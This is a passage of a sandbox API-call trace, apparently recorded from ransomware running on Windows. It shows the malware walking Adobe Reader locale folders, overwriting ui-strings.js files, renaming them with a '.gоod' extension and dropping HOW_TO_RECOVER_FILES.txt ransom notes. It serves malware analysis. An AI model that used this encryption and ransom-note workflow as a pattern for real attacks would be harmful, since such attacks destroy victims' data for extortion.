ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0160.574] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.574] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0160.575] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0160.575] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0160.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0160.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0160.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0160.575] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma", lpFilePart=0x0) returned 0x69 [0160.575] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0160.577] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.578] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0160.578] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0160.578] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0160.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0160.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0160.578] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0160.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0160.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x34d75a8 | out: lpFileInformation=0x34d75a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199)) returned 1 [0160.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0160.578] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0160.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0160.578] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0160.579] GetFileType (hFile=0x650) returned 0x1 [0160.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0160.579] GetFileType (hFile=0x650) returned 0x1 [0160.579] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0160.579] ReadFile (in: hFile=0x650, lpBuffer=0x34d7a80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x34d7a80*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0160.580] CloseHandle (hObject=0x650) returned 1 [0160.581] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0160.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0160.581] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0160.581] GetFileType (hFile=0x650) returned 0x1 [0160.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0160.581] GetFileType (hFile=0x650) returned 0x1 [0160.581] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x4199 [0160.581] WriteFile (in: hFile=0x650, lpBuffer=0x34d8e90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x34d8e90*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0160.582] CloseHandle (hObject=0x650) returned 1 [0160.582] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0160.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0160.582] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0160.582] GetFileType (hFile=0x650) returned 0x1 [0160.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0160.582] GetFileType (hFile=0x650) returned 0x1 [0160.582] ReadFile (in: hFile=0x650, lpBuffer=0x34db3b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x34db3b8*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0162.302] CloseHandle (hObject=0x650) returned 1 [0162.303] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0162.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0162.303] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0162.303] GetFileType (hFile=0x650) returned 0x1 [0162.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0162.303] GetFileType (hFile=0x650) returned 0x1 [0162.303] WriteFile (in: hFile=0x650, lpBuffer=0x34c0d10*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x34c0d10*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0162.303] CloseHandle (hObject=0x650) returned 1 [0162.303] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0162.303] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0162.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0162.303] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5cf54426, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x41a9)) returned 1 [0162.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0162.304] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-ma\\ui-strings.js.gоod")) returned 1 [0162.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0162.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0162.305] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-ma\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0162.305] GetFileType (hFile=0x650) returned 0x1 [0162.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0162.306] GetFileType (hFile=0x650) returned 0x1 [0162.306] WriteFile (in: hFile=0x650, lpBuffer=0x369bc90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x369bc90*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0162.307] CloseHandle (hObject=0x650) returned 1 [0162.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0162.326] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il", lpFilePart=0x0) returned 0x69 [0162.327] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0162.328] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.328] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0162.329] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0162.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0162.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0162.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0162.329] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il", lpFilePart=0x0) returned 0x69 [0162.329] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0162.329] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.329] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0162.329] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0162.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0162.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0162.329] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0162.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0162.330] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\he-il\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0162.330] GetFileType (hFile=0x650) returned 0x1 [0162.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0162.330] GetFileType (hFile=0x650) returned 0x1 [0162.331] WriteFile (in: hFile=0x650, lpBuffer=0x36be298*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x36be298*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0162.332] CloseHandle (hObject=0x650) returned 1 [0162.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0162.332] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr", lpFilePart=0x0) returned 0x69 [0162.332] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0162.332] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.332] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0162.333] FindNextFileW (in: hFindFile=0x1ec31f90, 